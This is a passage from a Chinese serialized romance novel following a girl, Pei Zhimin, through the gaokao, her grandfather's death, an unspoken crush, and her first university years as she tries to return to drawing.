过了几秒钟,不知道是谁吼了一句:“你一定可以的。” 是一道男音。 四方的教学楼,顿时响起热烈的起哄声。 “这才是真的有志青年啊,”喻书忍不住感叹,“不像我,还是茫然一片不知路在前方。” 裴知悯接了句很俗套的话:“路在脚下。” 喻书微恼:“我能不知道吗?” 裴知悯笑了一下,捋了捋被风吹乱的头发。 “你呢,”喻书背靠着栏杆,扭头问她,“以后想做什么?” 裴知悯轻轻一叹:“其实我也不知道。” 除了画画,她好像也没找到其他的爱好。 “害,一辈子这么长,谁说的准呢,”喻书仰头看向夜空,缓缓道,“有人很早就坚定了理想并为之努力,有人忙碌半生不知所求,我们且行且看吧,总有一天会找到的。” 裴知悯赞同:“说的有道理。” 还有几分钟就要放学了,喻书回了教室去收拾书包,留下裴知悯一个人,这晚的星星很闪,连成一片,她点开手机相机,拍了张夜空照,正欣赏着,六班的后门,走出一道颀长的人影,祁砚寒穿着灰色T恤黑牛仔裤,一手插兜,松散地往九班走去。 裴知悯心在打鼓,借着拍星空,她悄悄将镜头对准了他,画面中的背影高瘦峻拔,刚要按下定格键时,祁砚寒微微偏头,活动了下肩颈,这一下倒是把裴知悯吓得够呛,她手一抖,照片糊成了一片,连他的轮廓都看不出来。 好可惜。 高中生活即将结束的这晚上,走廊上的人叽叽喳喳,注定有说不完的话。 裴知悯站在人群里,余光瞄了他的背影千万遍,贪恋又伤感。 周末两天,苏英没让裴知悯去医院,说等考完了再去,她没想太多,老老实实地待在了家里复习,外面下着雨,裴知悯在窗前走动着背英语范文,苏英敲门进来了,衣摆裤管都是湿的。 “妈,你怎么淋雨了?”裴知悯放了书,抽出两张面巾纸给她擦头发。 “没事没事,”苏英囫囵擦着脸和头发,解释说,“早上去了一趟寺庙,去的时候还好好的,谁成想回来时这雨说下就下了。” 裴知悯有点惊讶:“你去了寺庙?” “嗯,去求菩萨保佑,”苏英丢了纸巾,“今天好多人,都是求家里孩子高考金榜题名的,我排了半小时才进到殿里。” “你也是求的这个?” “不止,”苏英笑了下说,“但人不能太贪心,一个人就求一个就好了,不然菩萨会忙不过来的。” “我用了你爸的名义替你求的,我则是替你外公求的。” 裴知悯了然。 苏英从衣服口袋里摸出两个平安福,一个递给她:“这一个你带在身上,他们都说灵。” 红色的长方形布袋,小小一个,上面写着寺庙名字和“好运常在”。 苏英走向床边,把福袋系在床头上,嘴里喃喃道:“保佑我女儿高考顺利,我父亲早日康复。” 裴知悯握着那个小东西没动。 虽然她知道这世间没有神明,但如果所愿能成真。 那她就相信有。 裴知悯默默把另一个福袋系在了书包上。 六月七日,高考如约而至。 风和日暖,安静的考场上,吹过一场仲夏汹涌的风,掀起的答题卡上写满了答案。 这时考试结束铃声响了,高考就这么盛大又平淡地落下了帷幕。 考完才真是热闹,各种撕书喊楼表白的场面都有,她和喻书在操场绕圈吹风,那会儿她们好像都不知道说什么,就想一直走,青春好像就能不散场似的。 当晚,南城的夜市就热闹起来了,街头巷尾都是年轻男女的谈笑歌唱声,路边的店面在放周杰伦的《晴天》——“消失的下雨天,我好想再淋一遍……” 这场落幕的狂欢好像持续了好久,但裴知悯没去关注,那一周她都在医院陪苏献培,老人的病情好转不少,医生说过不了多久就能出院了。 天气很好的早上,许兰君牵着苏献培出去散了散步,回来时,正巧裴知悯拎着苏英做的早餐来了。 简单吃过饭,外婆出去清洗餐盒,护士进来给外公扎针,裴知悯坐在小沙发上看学校发的高考志愿指南书,碰见感兴趣的就折个角做个标记。 太阳升起来了,阳光照在窗户上,病房里亮堂堂的。 点滴落下的声响匀速轻缓,苏献培算了算时间,问她:“考试成绩快出来了吧?” “嗯,”裴知悯点头,“差不多下周这个时候。” 苏献培瞟到那书封面,又问:“对专业有想法了吗?” 裴知悯嘴巴一瘪:“没有。” 这几天她都在看资料,每次看到心动的专业,上网一查,全都是劝人快跑的,以至于选一个抛一个,现在没有一点头绪。 裴知悯合上书,询问他的意见:“外公,你说我挑挑选选这么久,最后万一……万一哈,选到了一个不喜欢的专业怎么办?” “人生就是一场探索的旅程,你学了这个专业不喜欢也没关系,大不了以后出来不从事和专业相关的工作就行了,”苏献培说,“但这四年是宝贵的人生经验,你就当多学了一点东西,技多不压身。” “但我要痛苦四年呢,”裴知悯一手撑着脸,一手比出个“四”出来,“四年的大好时光,可就白白浪费了。” 苏献培轻轻摇头:“不会的。” “嗯?” “人生哪有白走的路,放心吧,”老人慈祥道,“你路上吃的苦,总有一天会得到回馈的。” “真的?” 苏献培笑:“真的,外公什么时候骗过你。” 外公的话好像有一种治愈感,裴知悯浮躁的心总归有点平静安宁了。 苏献培:“你还年轻,未来还这么长,慢慢去发现世界,去找到自己,不着急。” 裴知悯:“好。” 阳光洒满了屋子,窗外的枝桠摇晃,有鸟儿飞向远方,叫声雀跃。 苏献培注视着外边澄净的天,畅想起来:“到时候要是你在南城上大学, 我们全家一起送你去。” 裴知悯笑了一笑:“好。” 苏献培缓缓笑了,也不知道能不能撑到那个时候。 晚些时候,许兰君拿着干净的保温盒回来,裴知悯又陪她聊了会就回家了。 下午她在家整理房间,高中三年的书累起来比她人都高,收拾完,裴知悯人都累瘫了,出去喝了杯茶,就倒在沙发上休息。 苏英在阳台晒衣服被子,瞧见她累惨了的模样只是笑了笑。 电话铃声忽然响了,裴知悯走进房间从书桌找到床上,掀开枕头才找到手机,一接听,喻书在电话里喊:“知悯,下午有空吗?出来聚会呀!” 裴知悯看了眼墙上的钟,婉拒道:“我等会要给我外公送餐。” 喻书忘了还有这事,她没再出言邀请,和她聊了两句就挂了电话。 苏英抱着晒干的衣服进来,随意问:“谁打来的啊?” “喻书,”裴知悯收了手机,“让我出去玩。” 那她刚刚说的那句,应该是拒绝了。 “你去吧,”苏英边叠衣服边道,“晚上我去送餐。” 裴知悯一愣。 “脑中的弦绷了好几个月了,”苏英朝她挥挥手,“现在考完了,你去和朋友玩玩,放松一下吧。” 裴知悯笑:“行。” 她换了条白裙子,把头发扎成丸子头,拿上小包就给喻书打电话说马上过来。 出租车穿梭在城市街道上,耳畔刮过燥热的风,远方有即将落山的太阳,光景粲然。 喻书他们是在一个包厢里,空间挺大的,来了不少人,熟悉的面孔都在,当然也有不熟悉的,令裴知悯诧异的是,秦京宁也来了,就坐在祁砚寒旁边。 桌子上摆了一圈的酒水零食,有男生在唱李宇春的歌,“再不疯狂我们就老了,没有回忆怎么祭奠呢——”放肆尽情的声音响彻在头顶,剩余的人打游戏的打游戏,玩牌的玩牌。 喻书过来,给她拿了瓶饮料:“外公好些了吗?” “嗯,”裴知悯笑了一下,“很快就能出院了。” “那就好,”喻书笑着说。 桌子上有果酒,裴知悯尝了一点,后面又和喻书玩游戏,她运气不好,连输两局。 裴知悯想出去缓缓,她去了趟洗手间,扑了一把脸,出来时,遇见一个转角的角落,站着熟悉的一双人影。 祁砚寒皱紧眉扶稳她,轻责道:“喝酒了?” 秦京宁大拇指掐住食指指腹,眼色朦胧:“一点点。” 祁砚寒脸色都严肃了起来,“谁让你喝的?” 秦京宁卸了力气,脑袋一下靠在他的胸前,声调软软的:“你啊。” 祁砚寒一只手控制住她的胳膊,一只手举起来作投降状,满脸无辜:“秦京宁,你别乱说,我什么时候让你喝酒了?” 回应他的是数秒的沉默。 祁砚寒正思考着怎么把这人弄回去,面前的人倏地出声喊:“祁砚寒。” “嗯?” 秦京宁从他怀里抬起头,眼神直勾勾的:“你是知道的吧?” “知道什么?” “我喜欢你,”秦京宁借着酒意诉说道,“很久了。” 祁砚寒眸光微闪,一时愣住了。 他说他不知道其实是有些勉强的,毕竟他们认识这么多年,她的小心思很好猜,只是她不说,他也就不会主动去戳破这层窗户纸。 没有必要。 裴知悯听到这句话,浑身猛地一僵,即使她先前就有所察觉,但听到女生亲口承认,她还是心颤了一下。 “你说,”秦京宁扯着他的衣服下摆,仰起头,耍起了无赖,“你要不要跟我在一起?” 祁砚寒把她扶正,正色道:“秦京宁,我不跟醉鬼谈事。” 秦京宁眼睛迷离,站都站不稳,根本没空回复他的话。 那头沉寂了下去,裴知悯慢慢转头,昏暗的角落,那一双人靠得很近,秦京宁踮起脚尖,缓缓凑近他的唇,祁砚寒定定地看着她,没有拒绝。 裴知悯霎时睁大了眼,心墙轰然倒塌,碎成一地。 在秦京宁即将吻上去的那一秒,她倏地转过了身,她也就没看见,男生利落侧过的脸。 其实他的身边不论是何语苒也好,秦京宁也罢,总归是没有她的。 裴知悯越想越难过,抬腿沿着相反的方向回了包厢,喻书一曲唱罢,心情正好,问她要不要唱歌,裴知悯心空得厉害,点了一首孙燕姿的《天黑黑》。 包厢里热烈不减,打游戏的打游戏,声响很大,裴知悯握着话筒,轻轻唱着—— “我的小时候, 吵闹任性的时侯, 我的外婆, 总会唱歌哄我, 夏天的午后, 姥姥的歌安慰我。” 包厢里只开了两盏灯,她的眸光晶莹了许多。 “我爱上让我奋不顾身的一个人, 我以为这就是我所追求的世界。” 她的眼睛本就清澈,现在蕴着泪,众人都以为是灯光照射的原因。 那天唱得差不多了时候,裴知悯就想回去了,喻书拉住她,说等会一起去吃饭。 “不去了,”裴知悯拿上包,“有点累。” 裴知悯走出包厢下楼,外面暮色四合,街上行人很多,她招手拦车,突然好想哭,她累了,想回去睡一觉。 电话这时响了。 裴知悯接起,一声“妈”还没喊出来,苏英就开口了。 “知悯,来医院吧。” 声音难过至极。 裴知悯霎时间明白过来了,她看着眼前热闹的街市,车水马龙的车流,一瞬间,泪水模糊了视线。 在这样一个安和宁静的夜晚,苏献培走得安详。 在他心跳停止的最后一秒钟,耳边还有裴知悯的呼唤。 裴知悯泪流不止,明明不该是这样的,医生说了,外公很快就能出院了啊。 第28章 第28章祝你前程似锦 一周后,高考成绩出来,裴知悯正常发挥,分数很理想。 刚刚下了场小雨,风还是湿润的,吹来时带了些冷气。 裴知悯抱着手臂站在窗前,静静地眺望着远方岑寂的山和葱茏的树,紧绷许久的心,终于在看到分数时有了一些踏实和喜悦。 观赏半晌,裴知悯走出房间给自己倒了杯水喝,客厅里摆着外公的遗像,她只是扫了一眼那照片,都觉得难过。 门上突然传来动静,许兰君处理完外公的葬礼回来了,裴知悯根本不会想到,一家子年轻人都乱了阵脚的事,最后竟然是一个年近七旬的老太太出来主持的。 外婆眼里的落寞和疲惫尽显,只是看见她时,她还是微笑着问她晚饭想吃什么。 裴知悯想了想,说想吃饺子。 家里有面粉,但是没有做馅料的蔬菜肉类了。 外面已经放了晴,祖孙俩一起出门买菜,微湿的路面,裴知悯牵着外婆走得很慢。 远方是很浅很浅的粉色天空,像一滴红墨水滴入水中晕开了似的,浅淡的光线里,青春洋溢的学生还有谋生的人们各自奔忙,落下一地交织的行踪。 这个点市场上没有多少菜摊了,许兰君随便挑了一些应季的蔬菜和水果就往回走,斑马线对面是一个六十秒的红灯,祖孙俩停住脚步,等着绿灯亮起。 这条路前方的店铺有家米糕店,店里应该正在蒸桂花糕,热气腾腾的,香气都飘到这里来了,裴知悯顿住了脚,望了两眼过去,许兰君抬眼一瞧,就看见了她的小表情,老太太拎着两袋蔬菜,转身说:“走吧。” 裴知悯“啊”了一声,还没反应过来。 外婆回头说:“给你买米糕吃。” 裴知悯笑着“哦”了一声,抬腿跟上老太太的步伐。 出了会儿太阳,地面上的水气差不多干了,饶是这样,裴知悯还是拉着外婆说走慢点,许兰君都笑了,听话地配合着她。 店铺前围了些人,她们过去的时候,上一屉正好卖光,老板在看这一笼屉有没有蒸好。 “老板,”外婆拿出钱递过去说,“要一份桂花糕。” 店主擦了擦手,找了零钱回来:“稍微等两分钟哈。” 外婆:“好的。” 身后的街巷里,有小孩子在嬉戏玩耍,声音童真稚嫩,偶尔还能听见有母亲在喊自家小孩回来吃饭,那小孩玩得正高兴,当没听到似的继续和小伙伴打成一片。 日光暗淡,照得清冷的地板愈发的灰,裴知悯低头踢着地上的碎石,稍显无聊地等待着。 一堆小孩子的声音里,忽然有一道清冽的男声冒出来。 “行,等会就给 你买。” 熟悉的声线。 裴知悯踢石子的动作一僵,震惊地抬起头,缓缓转过身去,那个熟悉得不能再熟悉的身影就在对面,他穿着简单的白T黑裤,一手插兜,一手握着手机,低头笑着和人通电话。 祁砚寒没注意到她,隔着四五米宽的街,径自和她交错而过。 “还想要什么?”语气温柔。 裴知悯心头微颤,想起那天在包厢,秦京宁坐在他身边,他们聊天时,他说话的语气好像就是这样。 熟稔亲昵。 走过拐角,他迈步朝着这条路的前方走去,背影宽阔,姿态舒展。 有一辆自行车从对面驶来,掀起一阵燥热的风,问话声顺着风飘过来。 “真没了?”他轻声问。 方芷宜这个小没良心的,自己粗心大意把钥匙扣弄丢了就算了,还使唤起他来了。 没办法,谁让家里她地位高。 他笑了笑:“行,那我挂了。” 风吹过了,他的对话也随之结束了。 祁砚寒收了手机,走进了路边的一家店,没一分钟就出来了,手里拿着一个很可爱的钥匙扣。 裴知悯望着他手里的那个小玩意儿,愣了愣神,是给秦京宁买的吗? 应该是吧。她想起那个吻。 从前他们就没有多少交集,如今在街头碰见,好像真的就是陌生人了。 裴知悯心头微酸,也不知道他高考考得怎么样?以后会去哪个城市读大学?下次遇见,又会是什么时候? 那道身影在视野里逐渐变小变糊,裴知悯遥远地注视着他的背影,孤勇又执着,就当告别了。 未来的时光,真心祝福你前程似锦心想事成。 她默念着这八个字,直到他消失在道路尽头。 这头,外婆接了老板递来用油纸包好的桂花糕,拱了下裴知悯的胳膊,又扫了眼她那边:“看什么呢?” 裴知悯回神:“没什么。” 外婆把塑料袋给她:“来,尝尝吧。” 一份里有两个,刚出炉的糕团热度不减,裴知悯烫得在左右手中来回跳了几圈才送去嘴里,咬了一口,边吃又边哈气。 许兰君看着她这一系列动作,只觉好笑。 “好吃吗?” “嗯,”裴知悯咽完这一口,“但没有你做的好吃。” 许兰君扬起唇角:“外婆以后给你做。” 裴知悯眼睛弯起:“好。” 暮色弥漫,她吃着糕团,和外婆散步着往家走。 那天晚上,他们一家人围在一起包饺子,久违地团聚了一次。 灯光柔和,家人闲坐,日子还在继续。 外公走之前说,要他们好好生活。 他们会的。 七月上旬,裴知悯回到栖梧。 院子早已不是去年的光景了,如瀑鲜花落败,杂草丛生。 祖孙俩花了两天时间才把家里收拾好,花枝几乎都被清理了,只剩几株长在角落很顽强的草没有被拔掉,落叶败枝一扫,院子明显空荡起来了,连带着裴知悯的心也是空落落的。 外婆一边扫院门上的灰,一边联系卖花的老板,说要一些月季、绣球和山茶的花苗,又问对面有没有可以结橘子的小树苗,老板说可能还要等上半个月,外婆说尽快,她着急要呢。 裴知悯闭着眼听他们讲话,想着再过不久,这里又会是葳蕤茂盛的样子。 回来的第三天,裴知悯醒得很早,外边还是雾蒙蒙的,偶有一声鸡鸣响起,楼下的厨房,外婆正在熬粥,她拿起屋檐下的洒水壶,给外头那几株野草苗苗浇水。 从前这些事本来都是外公做的,可是如今…… 算了,不想了,朝前看吧。 刚浇完,外婆就盛了两碗小米粥出来,放在院里的木桌上,喊她来吃饭了,裴知悯洗了手,过去坐下。 “今天怎么这么早就醒了?” 裴知悯说:“睡不着。” 外婆喝了一口粥,没搭腔。 外头有几声犬吠,各家各户开起了门,栖梧慢慢醒来,又开始新一天的生活。 许兰君咽下这口粥就没再动了,忽然说道:“其实有件事你妈妈没告诉你。” “什么?” 外婆说:“你外公在你高考前的一周病情就有点恶化了。” 裴知悯心一惊。 许兰君看见她的表情,轻叹了下,继续道:“那次发生得很突然,熬过之后,你外公身体其实在恢复的,谁承想原来只是一次回光返照。” 裴知悯放了勺子,静默地听着。 “当时他上完厕所,忽然之间就头痛头晕,医护人员来抢救时说是‘脑出血’,我人都是懵的,这场病来得快,走得……”外婆神色悲伤,轻轻一笑,“唉,不说了,都过去了。” 裴知悯静默许久,最后只握紧了她的手。 阳光渐渐穿过云层撒下来,大雾散开,门外一片明亮。 吃过早饭,裴知悯陪着外婆出去给家里添置东西,逛了一两个小时满载而归,草草吃过午饭,许兰君又出去买花苗了。 裴知悯坐在院子里晒太阳,又是一个宁静的午后,她吹着风看着蓝天,看着看着,一滴泪不自觉地淌过了脸颊。 这时许兰君推门进来,抱了好些株花还有个破烂的陶罐,裴知悯赶忙擦了下脸,起身接过她手里的罐子放进屋里,然后又和她一起种花。 骄阳正好,外婆戴着草帽,汗水沁在额头,背上的衣服都洇湿了,她走到了花园深处,裴知悯只看得见她的一点背膀。 想起好久以前,外公也是这样。 把花栽好,时过四点。 暑假正是栖梧人流量多的时候,许兰君先前还织了一些手工品没卖完,她闲不下来,又要去集市摆摊。 裴知悯帮着外婆把东西送到集市,又一个人慢慢走回去,路边的梧桐树油亮高大,枝叶扶疏,落下一地阴影,街上人声喧闹,摆着各种饰品和工艺品,她边走边逛,穿街过巷回家,不知道是哪一条巷子里的小贩吼了一嗓子:“卖樱桃嘞——最后一批樱桃——” 裴知悯猛地一怔,快速走出巷子想去找那个卖樱桃的人,可栖梧的小路众多,出去后,只闻其声不见其人,她站在道路中央,茫然四顾,那道声音越来越远,越来越远,直至不再响起,大概是被人买走了吧。 裴知悯心空了一瞬,在原地愣了半分钟才接着往前走,沿途路过一个卖专辑的小店,里面放着一首民谣,听歌词是去年火遍大江南北的《南山南》。 听到那句“如果天黑之前来得及,我要忘了你的眼睛”,裴知悯霎时停住脚步。 充满故事感的嗓音浅吟低唱着,曲调哀而忧伤。 “南山南,北秋悲,南山有谷堆, 南风喃,北海北,北海有墓碑。” 往来都是客,周遭是热烈的招徕和谈笑声,裴知悯站在人潮中,有一种巨大的空洞,她听着听着,肩膀慢慢抖动了起来。 那天的后面,裴知悯也不知道,她是以怎样的心境走回去的,反正就是,一片空寂。 后来的半个月,她在栖梧过得很平淡宁静,早上陪外婆散步见见朋友,午后就侍弄侍弄花草,帮着外婆做一点果酒糕点,偶尔又和喻书打个电话聊聊天,说说未来,喻书考得也很好,出去玩了一趟后,回来就在捣鼓那折磨人的架子鼓。 八月初,青城大学的录取通知书到了,裴知悯要回南城了。 说来真是造化弄人,她志愿基本上都报的南城,但因为青城的新闻传播在全国名列前茅,秉持着冲一把的心态,她就试着填了一个,谁知就这么巧。 外婆眼含热泪地送她出门,不舍地挥挥手:“囡囡 ,往前走吧。” 在栖梧的这段日子,裴知悯心里的这场雨其实是在慢慢停的,她微微一笑:“好。” 这天的南城也是个好天气,街上还是热闹平常的样子。 拿了录取通知书,喻书的电话就来了,依依不舍地喊她以后要经常回来,还要给她带青城的特产,就算不在一个城市,也要一起去旅行,去演唱会…… 裴知悯一一应着,她们说了好久的话,聊的话题不止她们,还有另外几个朋友,她听着电话,随意地跟着街道走。 等挂了电话,手机跳出一大串Q.Q消息,是班级群中在报喜,一个个的都在说考上了哪所大学,裴知悯扫了一眼,大江南北的学校都有。 南礼中学2016届7班尽管狂,但确实有实力啊,全班都上了重本线,群里老班发的大拇指表情就没停过。 裴知悯发了一条“青城大学”就关了手机,这时她才发现已经走到了南礼中学的对面,明明才从这所学校出来没两个月,怎么就感觉恍如隔世呢。 广播响起了下课铃声,紧接着就依稀听到了学生兴奋的嚎叫,像极了那时的他们。 裴知悯望着校门口的四个大字,内心久久不能平静。 卫旭落榜了,他的父亲出了事被免职调查了,母亲生了病,这个阳光的大男孩,心里憋了一口气,打算回来复读。 最让她意外的是,这年祁砚寒不再是理科的状元,他和第一名就差了两分,高中三年,他唯一一次跌落“神坛”给了高考。 远方吹来风,再无故人来。 裴知悯转过身,朝另一条街离开了,很多年后,她再回想这一年,全都是遗憾。 第29章 第29章到底是什么样的人,让你惦记…… 八月末,裴知悯动身去青城大学,裴振和苏英本来说送她去的,被她拒绝了。 人总要长大的,孤身一人远走他乡就是考验。 青城地理位置偏北,气候干燥,和南城差别很大,裴知悯有点水土不服,没来两天就生病了,偏巧室友虞净也是,那几天两人经常结伴去拿药,一来二去的,慢慢就熟悉了起来。 寝室四个人,柳聆和宋一晗都是本地的,只有虞净和她一样,来自南方。 但地区却有不同,南城是在温暖湿润的长江流域,江都才是真正的江南水乡,画船烟雨,小桥流水,在那里长大的女孩子,骨子里就带了一股清冷柔和的气质,虞净就是这样,而且,她家是开旗袍店的,这个姑娘满衣柜都是旗袍。 刚读大学的这一个月,课程和各种事宜都多,时间一晃而过。 十月国庆,虞净去了邻省找她男朋友,柳聆和宋一晗回家去了,裴知悯本来要回南城,奈何前一天晚上,青城温度骤降,她不小心着凉发烧了,回家也因此泡汤,苏英除了心疼说不出别的责备的话,只让她好好吃药好好休息。 外头冷风肆虐,刮在玻璃上声响很大,寝室里漆黑一片,裴知悯裹紧被子躺在床上,迷迷糊糊地睡了一觉,再醒来全身都是汗,肚子里空荡一片,她盯着天花板,听着风声消逝,想起苏英今晚做的饭菜,里面肯定有她爱吃的红烧排骨、鱼头豆腐汤…… 在这个万籁俱寂的晚上,裴知悯有点想家了。 又一觉睡醒,已到了更深夜重时分,手机震动了好几下,她拿起来一看,都是裴振发的语音,里面还有一份转账,三千块钱,备注是:宝贝女儿,爸妈不在身边,在外要照顾好自己。 裴知悯眼眶微湿,更想家了。 十月过完,青城就进入了冬天,比起南城,青城的冬天更温和一些,它冷得很干燥,不是那种潮湿的阴冷。 裴知悯的大学生活其实很平淡,她不擅交际,一个社团都没参加,每天基本上就是教室寝室食堂三点一线,上着早八晚八,忙碌得不行,可具体又说不上来忙了什么,有次和喻书打电话,聊到当年说的那句“上了大学就好了”,两人都觉得是谬论。 元旦放假,全寝室给裴知悯补过生日,几个女生在海底捞吃了两个小时,吃得肚皮都撑了才出来。 柳聆和宋一晗下午社团有活动,就提前回去了,裴知悯和虞净倒无事一身轻,之前忙着上课没机会出来,今天正好有空,两人一拍即合地说去逛一逛,就当消食了。 青城前几天下了一场大雪,现在还没化完,枝头坠着薄雪,天地一片苍白。 她们买了热饮,在街头边看边走,人头攒动的广场上,有很多小吃摊,烤红薯的香味飘在空气里格外诱人,虞净买了个小的,和她一人一半分着吃。 青城的历史气息很浓,这一片周围就有博物馆和风景区,再坐几个站还可以去爬山,但两个女生没有那么好的精力,就去了博物馆,逛完出来,又跟着人流去清湖东路走了一圈。 逛完这里,都快五点了,天色暗淡下来。 裴知悯和虞净都走累了,想找个空椅坐下歇会,正张望着,对面的拐角忽然噔噔噔地跑出了一个穿着棉服的小男孩,两只手分别拿着风车和赛文奥特曼,身后鸡飞狗跳,还挺有生活气,引得两人同时驻足观看。 有妇人紧跟着跑出来,手里拿着鸡毛掸子,在追那孩子:“诶,回来背诗了!” 小男孩脚步未停,回过头大声喊:“我早就会背了!” 那妇人追累了,歇口气道:“你会背个屁!昨天还——字都不识两个——” 小孩子手里的风车转个不停,边跑边喊:“天高云淡,望断南飞雁,不到长城非好汉,屈指行程二万,六盘山上高峰,红旗漫卷西风,今日长缨在手,何时缚住苍龙!” 妇人听见他完整地背了出来,慢慢愣了,这小屁孩难不成还是个神童? 不只是她,再次听见这首词,裴知悯也懵了一瞬,鼻头莫名泛酸,那年他们慷慨激昂,朝着群山朗诵这首诗的时候,真没想过会预言成真。 这个时节,卫旭确实能看到南飞的大雁,蒋琛远走北京,真成了去看长城的好汉,喻臣读了警校天天训练,是有点日行二万的意味,喻书从了医,作业多得要死,也算在攀登高峰了。 至于祁砚寒,她也不知道为什么他最后选择了南城大学。 或许是因为什么事,也或许是因为什么人。 “你怎么了?”虞净察觉她情绪不太对劲,询问道。 裴知悯轻叹了一口气,摇头说:“没什么,就是想起一些从前的事。” “那说来听听?”虞净接上她的话,“感觉应该有故事。” 裴知悯想了想,把从前停电逃课的事告诉了她。 虞净听完,忍不住感叹:“你们高中这么疯狂的吗?” 裴知悯抿唇:“就那一次而已。” “有一段很难忘的记忆就已经很不容易了,”虞净望着远处泛白的天际说,“我才读大学几个月,高中的事都快要忘完了。” 裴知悯眨巴着眼睛:“一件都没有吗?” 虞净很认真思考了下,然后说:“早恋算吗?” 裴知悯:“……” 前方的树上,落了一枝碎雪下来,声音清脆,两人都被吓了一跳。 虞净的电话这时响了,裴知悯听她软绵的声音就猜到了对面是谁,他们聊天,她就在几米开外的地方拍雪景给喻书看,对方大概在忙,她发了好几条都没有收到回信。 和他聊了几句,虞净就收了手机来找她了,日色渐暗,她们都说不休息了,直接朝着地铁站走等会回学校。 雪地忽然卷起了一场风,两人的发丝飞扬,脸埋在衣服里,挽紧了彼此的手以免被风刮跑。 风吹过后,她们看着对方张牙舞爪的头发,都笑了。 “知悯,”虞净拢紧旗袍外的大衣,好奇起了别的,“你大学想不想谈恋爱?” 裴知悯淡淡道:“没兴趣。” 虞净笑着道:“是对人没兴趣还是对这件事没兴趣啊?” 裴知悯踢了踢脚边的碎雪,“都没。” 虞净沉吟片刻,试探道:“那你有喜欢的人吗?” 裴知悯动作一顿,沉默良久,才敢在异地他乡轻轻地“嗯”了一声。 虞净眼睛亮了:“你有喜欢的人怎么不表 白啊?” 裴知悯笑容苦涩:“他有女朋友了。” 虞净似乎没想到会是这样,叹了声说:“爱而不得,最是无解。” 裴知悯笑意很浅,低低“嗯”了声。 其实关于祁砚寒,她的消息是很少的,从前他们的小群里,只有蒋琛和喻臣还偶尔发张照片说说近况聊聊天,裴知悯很少回话。 后来,期末考试一完,裴知悯就回了南城,出去才半年,再回来竟然有种恍如隔世的感觉,喻书到了站台来接她,手里拎着还是热乎的糕团。 裴知悯出来就被喻书给了个熊抱,相见恨晚呐两人说说笑笑打打闹闹走出了站台,后面的一段时间,两人天天约着出来玩,直到要过年了才消停。 年前几天,裴振有份资料落在家里了,裴知悯帮忙跑一趟送去了他单位,回来时路过“好久不见”,她进去看了看,走到卖五年高考三年模拟那片,右肩忽地被人拍了下,她下意识回过头,卫旭站在她身后,一脸笑意。 裴知悯睁大双眼,又惊又喜:“你……你怎么在这儿?” 卫旭扬了扬手中理综试卷:“来买题。” 裴知悯看着眼前这个头发剪成寸头,笑容明朗的男生,除了震惊还是震惊,如今他沉稳了许多,不再像之前那样会做鬼脸来吓唬她了。 “大学生活还好吗?”卫旭问。 裴知悯笑着点头:“挺好的。” 后来他们聊了几句卫旭就说有事要先走了,裴知悯望着他坚毅沉着的眼睛,只能干巴巴地说一句:“加油,相信自己。” 卫旭笑着点了点头,出了书店,裴知悯站在原地,目送他离去,真诚祝愿他今年金榜题名。 印象里那个春节很快就过去了,元宵之后,裴知悯回了学校,开始备考六级。 四月时候,青城气温回暖,学校里生机葱茏。 那天裴知悯写完论文回宿舍,一个陌生电话忽然进来了,她瞥了一眼直接拒接,没过几秒,手机又响了,还是那个号码,响得锲而不舍,她顿了几秒,接听起来。 “阿书?”裴知悯拿开手机看了眼那号码,“你换电话了?” “诶,别提了,”喻书叹了口气,“今天下楼梯,手机没拿稳摔坏了,才办的新卡,第一个就给你打了。” 裴知悯在这头不好意思地笑:“我还以为是什么推销电话。” 喻书说了句“没事儿”,就让她把原先她们的合照发来一份,裴知悯抱着书不好操作,说等会回宿舍就给她发。 夜色融融,路灯昏黄,沿途花草茂盛,裴知悯徐步走过回寝。 宿舍里没人,卫生间有水声,裴知悯放了书就开始给喻书发照片,发完了后,她瞥到那次他们在雾浮山山顶拍的那张,一时怔住。 虞净洗完澡出来,擦着头发看裴知悯一动不动跟丢了魂似的,走过来碰了下她的肩头。 “你看什么看这么入迷呢?” 桌上的手机屏幕还亮着,虞净看见了那张照片,“这是高中时的你吗?” “嗯,”裴知悯回完就要按灭手机。 “诶,别收啊,”虞净拦住她,眼里都是打听,“说说呗,你后面那个帅哥是谁啊?” “就……”裴知悯答得支支吾吾,“一个朋友。” 虞净笑着追问:“什么朋友?” “普通朋友。” “是吗?”虞净不太信,“你喜欢的人就是他吧?” 裴知悯睁大双眼:“你怎么知道?” 虞净笑了:“本来还不知道,你这么一回我就懂了。” 裴知悯后知后觉地被套路了。 “还挺帅啊,”虞净仔细看了眼照片,拍了拍她的肩,“这读大学都快一年了吧,还惦记着呢?” 裴知悯一愣。 虞净很是好奇:“这到底是怎样一个男生啊?让你惦念了这么久?” 这个问题,裴知悯也想了很久。 或许年少时心动的人,本身就让人念念不忘吧。 第30章 第30章心事零落,碎成一地 大二上学期,裴知悯重新捡起了好久没碰的画画,那时她差不多有两年没画了,再接触画板,根本没有手感,线条乱得不行,她画到一半就放弃了,趴在桌子上看外面茂密的树枝,看了半天,她又坐起来,关掉所有图层,新建了张空白页从头画。 这张图裴知悯改了又改画了二十天,投出去后,不出意外地石沉大海了,她心里憋着一股劲,两个月里投递了七八张,却没有一张有回信,她好像又回到了最初投稿的时候,横冲直撞却都了无回音。 十二月的那个晚上,裴知悯在勾线稿,邮箱忽然冒出了消息,她满心喜悦地点开,却是一封婉拒信,那一瞬间,她有点不想画了。 裴知悯走去阳台,给喻书打了个电话,那人忙到现在才吃饭,嘴里包着一口饭,含糊地问怎么了,她把这段时间画稿被拒的事跟她说了。 “这有什么?”喻书咽下嘴里的饭,宽慰道,“你现在喊我回去算导数,我只会写个解,连公式都背不出来。” “你画画也是这个道理,要靠熟能生巧。” 这话怎么这么耳熟?裴知悯想起来了,从前林泽民也说过,这个男生如今就读于上海的顶尖学府。 裴知悯望着深蓝色的夜空,上面只有一轮泠月,空荡得像是被烫了个口子。 “我画了好几个月了,”她语气伤感,“还是回不到当初的水平。” 喻书沉默了下去。 裴知悯咬唇,低声道:“你说要不我干脆放弃画画算了吧?” “你千万别,”喻书惊得放下了筷子,“这么好的才华,不能浪费了。” 裴知悯不语,只盯着天看。 喻书想了半分钟,说:“我给你出个主意。” “什么?” “你去开个微博,”喻书往椅子上一靠,提出宝贵意见,“把你日常画的还有之前画的却没被录用的放上去,如果有人喜欢,会主动来找你约稿的。” 裴知悯担心:“万一没人喜欢呢?” “那我就去你底下当最忠实的托,只要你发,我就使劲夸,”喻书仰起头,摸了摸肚子,闭着眼畅想起来,“看在我们这么真心实意的份上,老天肯定会感动的,等你名声大噪了,我就来跟着你混,再也不背这砖块一样的破书了……” 